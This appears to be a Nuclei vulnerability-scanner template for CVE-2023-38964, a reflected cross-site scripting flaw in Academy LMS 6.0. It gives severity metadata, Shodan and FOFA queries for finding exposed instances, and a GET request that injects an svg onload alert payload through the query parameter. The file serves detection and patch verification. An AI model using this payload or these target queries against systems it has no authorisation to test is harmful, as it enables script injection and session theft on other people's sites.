id: CVE-2023-38964

info:
  name: Academy LMS 6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Creative Item Academy LMS 6.0 was discovered to contain a cross-site scripting (XSS) vulnerability through `query` parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches provided by the vendor to mitigate the XSS vulnerability in Creative Item Academy LMS 6.0.
  reference:
    - https://vida03.gitbook.io/redteam/web/cve-2023-38964
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38964
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38964
    cwe-id: CWE-79
    epss-score: 0.01056
    epss-percentile: 0.59975
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query: http.html:"academy lms"
    fofa-query:
      - body="Academy LMS"
      - body="academy lms"
  tags: cve2023,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/home/courses?query="><svg+onload=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<svg onload=alert(document.domain)>", "All courses</span>")'
        condition: and
# digest: 490a0046304402201b1d5699f0b1269cf3f33041460a9d9718dd4d22050322ef9d8b3903fff3e2ed022039c6c93d2c7dbcaf94dd5e6d181b56d4739cdcd58c5fd2a95fc3e268d13af2e1:922c64590222798bb761d5b6d8e72950